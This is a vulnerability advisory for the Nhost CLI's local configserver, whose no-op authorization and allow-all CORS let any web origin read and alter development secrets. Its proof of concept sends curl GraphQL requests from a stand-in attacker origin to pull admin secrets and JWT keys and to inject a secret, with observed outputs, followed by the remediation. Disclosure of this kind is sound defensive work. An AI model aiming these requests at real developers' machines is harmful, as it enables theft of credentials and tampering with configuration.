PT-2026-46848 · Go · Github.Com/Nhost/Nhost
Published
2026-06-04
·
Updated
2026-06-04
CVSS v3.1
5.4
Medium
| Vector | AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
Summary
The hidden
nhost configserver used by nhost dev exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local .secrets file.This impacts developers using
nhost dev: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project.Details
The CLI registers a hidden
configserver command in cli/main.go:39 and cli/main.go:41. That command is used as the local development configserver image in nhost dev: cli/cmd/dev/up.go:176 through cli/cmd/dev/up.go:200 select nhost/cli:<version> as the configserver image, and cli/dockercompose/configserver.go:80 through cli/dockercompose/configserver.go:84 run it with the configserver command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at cli/dockercompose/compose.go:347 through cli/dockercompose/compose.go:358.The configserver intentionally loads the local project files into Mimir's GraphQL resolver in
cli/cmd/configserver/configserver.go:143 through cli/cmd/configserver/configserver.go:156. However, the authorization directives passed to graph.SetupRouter are no-ops:cli/cmd/configserver/configserver.go:83throughcli/cmd/configserver/configserver.go:89definedummyMiddleware, which calls the next resolver without checking app visibility.cli/cmd/configserver/configserver.go:91throughcli/cmd/configserver/configserver.go:98definedummyMiddleware2, which calls the next resolver without checking roles.cli/cmd/configserver/configserver.go:161throughcli/cmd/configserver/configserver.go:170pass those dummy directive handlers andcors.Default()to the GraphQL router.
The default
rs/cors configuration allows all origins when no AllowedOrigins are specified: vendor/github.com/rs/cors/cors.go:163 through vendor/github.com/rs/cors/cors.go:167, and vendor/github.com/rs/cors/cors.go:248 through vendor/github.com/rs/cors/cors.go:249 show Default() uses Options{}. A browser preflight from an arbitrary origin receives Access-Control-Allow-Origin: *.The exposed GraphQL schema includes sensitive queries and mutations:
vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:41throughvendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:57exposeconfigRawJSON,config, andappSecretsby app ID.appSecretsis protected only by@hasAppVisibility, which the configserver replaces with the no-opdummyMiddleware.vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:117throughvendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:128exposeinsertSecret,updateSecret, anddeleteSecret, also protected only by the no-op@hasAppVisibilitydirective.vendor/github.com/nhost/be/services/mimir/graph/q app secrets.go:10throughvendor/github.com/nhost/be/services/mimir/graph/q app secrets.go:30return the app's secrets.vendor/github.com/nhost/be/services/mimir/graph/q config raw json.go:12returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config.vendor/github.com/nhost/be/services/mimir/graph/m insert secret.go:11throughvendor/github.com/nhost/be/services/mimir/graph/m insert secret.go:47append attacker-supplied secrets and call pluginUpdateSecrets.cli/cmd/configserver/local.go:164throughcli/cmd/configserver/local.go:175marshal the new secrets and write them to the configured local secrets file withos.WriteFile.
Because the local configserver uses a fixed zero UUID app ID for the local app (
cli/cmd/configserver/local.go:134) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID.Candidate score: 14/14.
- Reachability: 2 — reachable in the documented local development path using
nhost devand directly through the hiddenconfigservercommand. - Attacker control: 2 — GraphQL query and mutation bodies are fully attacker-controlled.
- Privilege required: 2 — no authentication or local Nhost privileges are required beyond network/browser reachability to the developer's local configserver.
- Sink impact: 2 — sensitive secret read and local secrets file write.
- Mitigation weakness: 2 — role/app-visibility directives are replaced with no-op handlers, and CORS permits all origins.
- Default exposure: 2 — enabled by the common local development setup.
- Safe reproduction feasibility: 2 — confirmed locally with disposable fixture files.
PoC
The following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.
- Start a configserver instance against temporary local files:
tmpdir=$(mktemp -d)
config="$tmpdir/nhost.toml"
secrets="$tmpdir/.secrets"
cat > "$config" <<'EOF'
[hasura]
adminSecret = 'local-test-admin-secret'
webhookSecret = 'local-test-webhook-secret'
[[hasura.jwtSecrets]]
type = 'HS256'
key = 'local-test-jwt-secret'
[observability]
[observability.grafana]
adminPassword = 'local-test-grafana-password'
EOF
cat > "$secrets" <<'EOF'
localProofSecret = 'LOCAL PROOF SECRET VALUE'
EOF
port=18088
go run ./cli configserver
--bind "127.0.0.1:$port"
--storage-local-config-path "$config"
--storage-local-secrets-path "$secrets"
- From another shell, show that a browser-style preflight from an arbitrary origin is accepted:
curl -sS -i -X OPTIONS
-H 'Origin: https://attacker.example'
-H 'Access-Control-Request-Method: POST'
-H 'Access-Control-Request-Headers: content-type'
"http://127.0.0.1:18088/v1/configserver/graphql"
Observed proof output in this environment:
HTTP/1.1 204 No Content
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *
Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
- Read local development secrets without any authentication:
curl -sS -i
-H 'Origin: https://attacker.example'
-H 'Content-Type: application/json'
--data '{"query":"query { appSecrets(appID: "00000000-0000-0000-0000-000000000000") { name value } }"}'
"http://127.0.0.1:18088/v1/configserver/graphql"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"appSecrets":[{"name":"localProofSecret","value":"LOCAL PROOF SECRET VALUE"}]}}
- Read sensitive local configuration without any authentication:
curl -sS -i
-H 'Origin: https://attacker.example'
-H 'Content-Type: application/json'
--data '{"query":"query { configRawJSON(appID: "00000000-0000-0000-0000-000000000000", resolve: false) }"}'
"http://127.0.0.1:18088/v1/configserver/graphql"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"configRawJSON":"{"hasura":{"adminSecret":"local-test-admin-secret","jwtSecrets":[{"key":"local-test-jwt-secret","type":"HS256"}],"webhookSecret":"local-test-webhook-secret"},"observability":{"grafana":{"adminPassword":"local-test-grafana-password"}}}"}}
- Mutate the local
.secretsfile without any authentication:
curl -sS -i
-H 'Origin: https://attacker.example'
-H 'Content-Type: application/json'
--data '{"query":"mutation { insertSecret(appID: "00000000-0000-0000-0000-000000000000", secret: { name: "INJECTED BY UNAUTHENTICATED REQUEST", value: "SAFE LOCAL MARKER" }) { name value } }"}'
"http://127.0.0.1:18088/v1/configserver/graphql"
grep -E 'INJECTED BY UNAUTHENTICATED REQUEST|SAFE LOCAL MARKER' "$secrets"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"insertSecret":{"name":"INJECTED BY UNAUTHENTICATED REQUEST","value":"SAFE LOCAL MARKER"}}}
INJECTED BY UNAUTHENTICATED REQUEST = 'SAFE LOCAL MARKER'
- Cleanup:
# Stop the configserver process, then remove the disposable fixture directory.
rm -rf "$tmpdir"
Impact
An attacker who can cause a developer to visit a web page while
nhost dev is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in .secrets. The attacker can also mutate the local .secrets file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services.This is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running.
Remediation
Addressed in nhost/nhost#4302 with three layered controls:
- CORS restricted to the dashboard origin.
cors.Default()incli/cmd/configserver/configserver.gois replaced bycorsMiddleware(), which uses anAllowOriginFuncdriven bydashboardOriginRe = ^https?://([^./]+.dashboard.local.nhost.run|local.dashboard.nhost.run)(:d+)?$. Arbitrary origins receive noAccess-Control-Allow-*headers and are rejected by browsers. The allowlist is locked in bycli/cmd/configserver/configserver test.go. - Unguessable per-project app ID. The fixed zero UUID is replaced by a UUIDv4 generated on first
nhost dev, persisted to.nhost/app id(mode0600) bycli/clienv/appid.go, and threaded viaNHOST APP IDinto the configserver container andNEXT PUBLIC NHOST APP IDinto the dashboard. The configserverserveaction validates the value withuuid.Parseat startup. Queries against any other app ID resolve to no app. - In-memory secret redaction with reconciling writes.
cli/cmd/configserver/local.goaddsloadSecretsRedacted, which substitutes every secret value with<placeholder-from-local-configserver-substituted-for-real-secret>before secrets enter the graph store, soappSecretsand any other read path return placeholders.UpdateSecretsreconciles incoming mutations against the on-disk.secretsfile — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage incli/cmd/configserver/local test.go.
Fix
Missing Authentication
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Github.Com/Nhost/Nhost